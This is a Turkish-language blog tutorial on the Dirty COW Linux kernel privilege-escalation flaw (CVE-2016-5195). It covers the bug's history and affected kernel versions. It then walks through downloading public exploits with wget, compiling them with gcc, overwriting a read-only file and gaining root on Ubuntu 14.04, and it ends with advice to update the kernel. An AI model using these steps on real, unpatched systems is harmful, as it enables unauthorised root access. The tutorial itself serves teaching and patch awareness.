Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | Dirtycow

TR | DIRTYCOW

Hakkında

Dirtycow Linux sistemlerde hak yükseltme zafiyeti olarak bilinmektedir. Dirtycow olarak adlandırılmış ve resmi olarak CVE-2016-5195 etiketini almıştır. Bu zafiyet android sistemlerde dahil olmak üzere tüm linux tabanlı işletim sistemlerini etkilemektedir. Zafiyetin tespiti Red-Hat firmasının araştırmaları sonucu ortaya çıkmıştır. İsmini ise linux çekirdek mekanizmasındaki Copy-On-Write sisteminden almıştır(COW). Çekirdeğin bellek yönetimi esnasında alt sistemlerinde yazma sırasında kopyalama işlemini gerçekleştirirken yarış koşullarından yaralanılarak(bkz : race condition , kernel race condition) yetki yükseltme işleminin gerçekleşmesi hatasıdır. Bu hatayı Phil Oester keşfetmiştir. Fakat Linus Torvalds bu açığı daha önceden bildiğini ve düzeltmeye çalıştığını bunun üzerine başarısız olduğunu , bulunduğu zaman dilimi içerisinde bunun zor olduğunu ve o şekilde bıraktığını itiraf etmiştir.

Tarihçe

Zafiyetin Eylül 2007 de piyasaya sürülen 2.6.22 sürümünden bu yana Linux çekirdeğinde bulunduğu belirtilmektedir. Ayrıca bu zafiyetin Ekim 2016 tarihine kadar sömürüldüğüne dair iddialar bulunmaktadır. Sürecin bu kadar uzun olması ve zafiyetin bu süreç içerisinde düzeltilmemesi saldırganlar için velinimet olması aşikardır. Bu zafiyetin 4.8.3 , 4.7.9 , 4.4.26 ve daha yeni çekirdek sürümlerinde düzeltildiği belirtilmektedir. Bu yüzden kendi çekirdek sürümümüzü (bkz: kernel version) güncellememiz gerekmektedir. Bir başka konuya değinmek gerekirse bu da android sistemlerdeki zafiyettir. Kendi çekirdeğimizi güncellemek daha kolay olabilir fakat android sistemlerde gerek güncellemelerin alınması gerek bu güncellemelerle çekirdek versiyonun yükseltilmesi ne kadar mümkün tartışılabilir. Ayrıca büyük şirketler bazı eski cihazlardan desteğini çekmesi gibi bir konuda mevcut. Bu bilgiler ışığında piyasada bu zafiyete sahip birçok android cihazın bulunduğunu öngörmek çokta yanlış değildir.

Açıklama

Bu zafiyeti incelerken neler yapacağız belirtmek gerekirse Copy-On-Write özelliğinde ki hatayı kullanarak sadece okuma yetkisi verilmiş bir dosyaya herhangi bir root yetkisinde olmayan bir kullanıcı yetkisi ile bir şeyler yazmaya çalışacağız. İlk olarak bu dosyaya bir şeyler yazmayı denediğimizde ‘permission denied’ hatasını alacağız. Ve bu hatayı Dirtycow zafiyetini kullanarak aşmaya çalışacağız. Daha sonra ise root yetkisine erişmeyi deneyeceğiz. Benim bu zafiyeti test etmek için kullandığım sistem Ubuntu 14.04 LTS işletim sistemidir. Bu işletim sistemi kernel versiyonu ise 4.4.0-31-generic sürümüdür. Şimdi ekran görüntüleriyle bu zafiyeti uygulamalı olarak inceleyelim.

İnceleme

İlk olarak kullanıcı yetkimizi ve kernel sürümüzü görelim. Bunun için aşağıdaki komutları kullanabiliriz.

id
uname -r

  • id  ile canyoupwnme kullanıcısının bilgilerini görmekteyiz.
  • Şimdi uname -r ile çekirdek sürümümüzü kontrol edelim.

  • Böylece çekirdek sürümümüzün 4.4.0-31-generic olduğunu görmekteyiz.

Şimdi gerçekleştireceğimiz test işlemlerine geçelim. İlk olarak aşağıda vereceğim siteyi incelemenizi öneriyorum.

https://dirtycow.ninja/

Burada Dirtycow hakkında bilgi alabilirsiniz ve yazılan exploiti indirebilirsiniz. View Exploit kısmına tıklarsanız sizi Dirtycow exploitinin bulunduğu github reposuna yönlendirmektedir. Buradan Dirtycow exploitini indirelim.

Ayrıca aşağıda vereceğim link üzerinden de ulaşabilirsiniz.

https://github.com/dirtycow/dirtycow.github.io

  • Burada dirtycow sitesinin anasayfasını görmekteyiz. View Exploit diyelim veya yukarıda verdiğimiz bağlantıya tıklayalım.

  • Bu kısımda gördüğünüz dosyalardan dirtyc0w.c isimli exploit dosyasını kullanacağız. Bu dosyayı değişik yollardan sisteme indirebiliriz ben wget kullanacağım. Ayrıca bu repo üzerinden exploitin kaynak kodlarını inceleyebilirsiniz.

 

  • Kullandığım komut :
  • wget dirtycow.github.io/dirtyc0w.c
  • Böylelikle exploitimizin yazıldığı .c uzantılı dosyamızı indirmiş olduk.

 

  • Dosyamızı indirdikten sonra yapacağımız işlem bu dosyayı derlemek. Bu bir c dosyası olduğundan dolayı gcc ile derleyerek çalıştırılabilir dosya haline getirelim.
  • Dosyamızı derlemek için kullanacağımız komutu aşağıda verelim.
  • gcc -pthread dirtyc0w.c -o canyoupwnme

     

  • Dosyamız derlendikten sonraki ekran görüntüsünü görelim.

  • Böylelikle exploitimizi çalıştırılabilir dosya haline getirdik. Şimdi ise yazma yetkisi olmayan bir dosya içine birşeyler yazmayı uygulamalı olarak gösterelim.
  • Bunun için bir text dosyası oluşturalım ve izinlerini ayarlayalım.
  • Komutlar:
  • echo CanyoupwnmeDeneme > cypwntest.txt
    
  • chmod 0404 cypwntest.txt  komutu ile dosyamıza sadece okuma izni verelim.

  • Bu dosyanın izinlerini görelim.

  • Görüldüğü üzere dosyamız sadece okuma yetkisine sahiptir. Biz yinede nano metin editörü ile bu dosyaya bir şeyler yazalım ve kaydetmeyi deneyelim.
  • nano cypwntest.txt komutu ile dosyamızın içine bir şeyler yazalım.
  • Daha sonra kaydetmek istediğimizde ekran görüntüsü aşağıdaki gibi olacaktır. Ve ‘Permission Denied’ hatası alacağız. Çünkü dosyaya yazma iznimiz yoktur.

Exploit Aşaması

  • Görüldüğü üzere yazma yetkimiz olmadığı için hatayla karşılaştık. Şimdi zafiyeti exploit ederek dosya içine birşeyler yazalım.
  • ./canyoupwnme cypwntest.txt Möööööööö  komutu ile dosya içerisine ‘Möööööööö’ yazdıralım.

  • Komutumuzu çalıştırdıktan sonra işlem tamamlandığında bu ekranı görmekteyiz. Şimdi dosyamızı okuyalım bakalım değişiklik olmuş mu ? Daha önceden dosya içerisinde CanyoupwnmeDeneme yazdığını biliyorduk.

  • Görüldüğü üzere zafiyeti kullanarak sadece okuma yetkisine sahip bir dosya üzerinde yazma işlemini uygulamış olduk. Bunu root yetkisi olmadan sistem açıklığından faydalanarak gerçekleştirdik. Bunu saldırganlar sistem dosyaları ve önemli dosyalarımız üzerinden kullanarak zarar vermeye çalışabilir. Bu yüzden çekirdek sürümümüzü güncellememiz gerçekten önem arz etmektedir.
  • Şimdide sistemde zafiyeti kullanarak root yetkisi elde etmeyi deneyelim.
  • Bunun için aşağıdaki linkten c0wroot.c dosyasını sistemimize indirelim. Ve daha sonra zip içerisinden çıkaralım.
  • https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679

 

  • Buradan Download ZIP kısmından dosyamızı zip olarak indirebiliriz. İndirip çıkartalım.

 

  • Zip içerisinde c0wroot.c dosyamızı görmekteyiz. Çıkardıktan sonra tekrar derleme işlemlerini yapıp exploiti çalıştırmayı ve root olmayı deneyelim.

 

  • Görüldüğü gibi dosyamızı derledik. Bu işlemi şu komutla gerçekleştirebiliriz:
  • gcc -pthread c0wroot.c  -o cypwnROOT
  • Root olmak için exploit kaynak kodunu derleyerek çalıştırılabilir dosya haline getirdik. Şimdi dosyamızı çalıştıralım ve sonuçlarını görelim. Ayrıca çalıştırmadan önce ve sonraki id değerlerine göz atalım.

  • Görüldüğü üzere exploitimizi çalıştırdıktan sonra root yetkisine erişmekteyiz.

Sonuç

Bu yazımızda  Dirtycow zafiyeti ile sadece okuma yetkisine sahip bir dosya üzerinde yazma işlemi gerçekleştirdik. Ve ayrıca root yetkisine erişmiş olduk. Bu zafiyetten kurtulmak için çekirdek sürümümüzü yükseltmemiz önemlidir. Ayrıca geliştirilmekte olan işletim sistemleri için öncelikli güvenlik tavsiyesi güncelleştirmeleri takip etmektir. İşletim sistemimizi her zaman güncel tutmamız tavsiye edilmektedir.

 

 

 

 

About Murat TORAMAN

Süleyman Demirel Üniversitesi Bilgisayar Mühendisliği 4.sınıf öğrencisi

Follow Me